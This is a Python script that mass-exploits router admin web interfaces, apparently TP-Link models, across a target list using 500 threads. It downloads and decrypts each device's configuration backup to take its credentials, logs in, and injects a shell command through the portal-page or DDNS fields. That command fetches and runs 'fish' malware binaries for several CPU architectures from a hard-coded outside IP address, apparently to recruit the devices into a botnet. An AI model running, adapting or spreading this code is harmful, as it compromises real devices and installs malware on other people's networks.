# encoding:utf-8
import sys
import os
import re
from threading import TIMEOUT_MAX
from pytz import common_timezones
import requests
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from concurrent.futures import ThreadPoolExecutor

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def add_get(host):
    headers = {
        'content-type': "application/json;charset=UTF-8",
        'x-trailer-biz-product-line': 'k12'
    }
    # 106.14.45.253:8888
    if host[:4] != "http" and host[:5] != "https":
        host = "http://" + host
    url = host + '/stok=aa/admin/system/download_conf'
    response = requests.get(url, headers=headers, verify=False)
    f = open('{}.bin'.format(get_ip(host)), 'wb')
    f.write(response.content)
    f.close()


def add_login(host, username, password):
    headers = {
        'content-type': "application/json;charset=UTF-8",
        'x-trailer-biz-product-line': 'k12'
    }
    if host[:4] != "http" and host[:5] != "https":
        host = "http://" + host
    url = host
    data = '''{"method":"do","login":{"username":"''' + username + '''","password":"''' + password + '''"}}'''
    response = requests.post(url, data=data, headers=headers, verify=False)

    stok = response.text.split('"', 7)[3]
    return stok


def add_post(host, stok, cmd):
    headers = {
        'content-type': "application/json;charset=UTF-8",
        'x-trailer-biz-product-line': 'k12'
    }
    if host[:4] != "http" and host[:5] != "https":
        host = "http://" + host
    url = host + '/stok=' + stok + '/ds'
    data = '''{"method":"add","authentication":{"table":"portal_page_list","para":{"template_id":"`''' + cmd + '''`","config":"11"}}}'''
    data2 = '''
{"method":"do","ddns":{"bind":{"domain":"`''' + cmd + '''`","bind_interface":"WAN1","bind_status":"1","force":"0"}}}'''
    try:
        requests.post(url, data=data, headers=headers, verify=False, timeout=TIMEOUT_MAX)
    except:
        requests.post(url, data=data2, headers=headers, verify=False, timeout=TIMEOUT_MAX)


def get_ip(host):
    return \
        re.findall(r"\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b",
                   host)[
            0]


def cleanup(host):
    os.system("rm -rf ./*{}*".format(get_ip(host)))


def exp(host):
    host = host.strip()
    try:
        command = 'cd /tmp;wget http://158.51.124.124/fish.mips;chmod 777 fish.mips;./fish.mips tp;cd /tmp;wget http://158.51.124.124/fish.arm7;chmod 777 fish.arm7;./fish.arm7 tp;cd /tmp;wget http://158.51.124.124/fish.mipsel;chmod 777 fish.mipsel;./fish.mipsel tp'
        add_get(host)

        cmd = "./qemu -L . ./des_drypt -d -i './{}.bin' -o './{}.tar.gz' &&".format(get_ip(host), get_ip(host))
        cmd += "mkdir {} &&".format(get_ip(host))
        cmd += "tar -xzvf ./{}.tar.gz -C ./{}/ &&".format(get_ip(host), get_ip(host))
        cmd += "tar -xzvf ./{}/tmp/cfg_save/backconf_tmp/backup/uc_conf.tar.gz -C ./{}/".format(get_ip(host),
                                                                                                get_ip(host))
        os.system(cmd)

        with open('./{}/tmp/backup/uc_conf/webpasswd'.format(get_ip(host)), 'r') as f:
            webpasswd = f.read()
            username = webpasswd.split("'", 6)[3]
            password = webpasswd.split("'", 6)[5]

        stok = None
        stok = add_login(host, username, password)

        assert stok != None
        assert len(stok) != 16

        add_post(host, stok, command)

        cleanup(host)
    except Exception as e:
        # print("except:",e)
        print(host, "验证失败")
        cleanup(host)
        with open("fail_ip.log", "a+") as f:
            f.write(host + ',' + str(e) + '\n')
        with open("fail_ip.txt", "a+") as f:
            f.write(host + '\n')


if __name__ == '__main__':
    TIMEOUT_MAX = 8
    with ThreadPoolExecutor(max_workers=500) as pool:
        with open(sys.argv[1], 'r') as f:
            task = [pool.submit(exp, url) for url in f.readlines()]
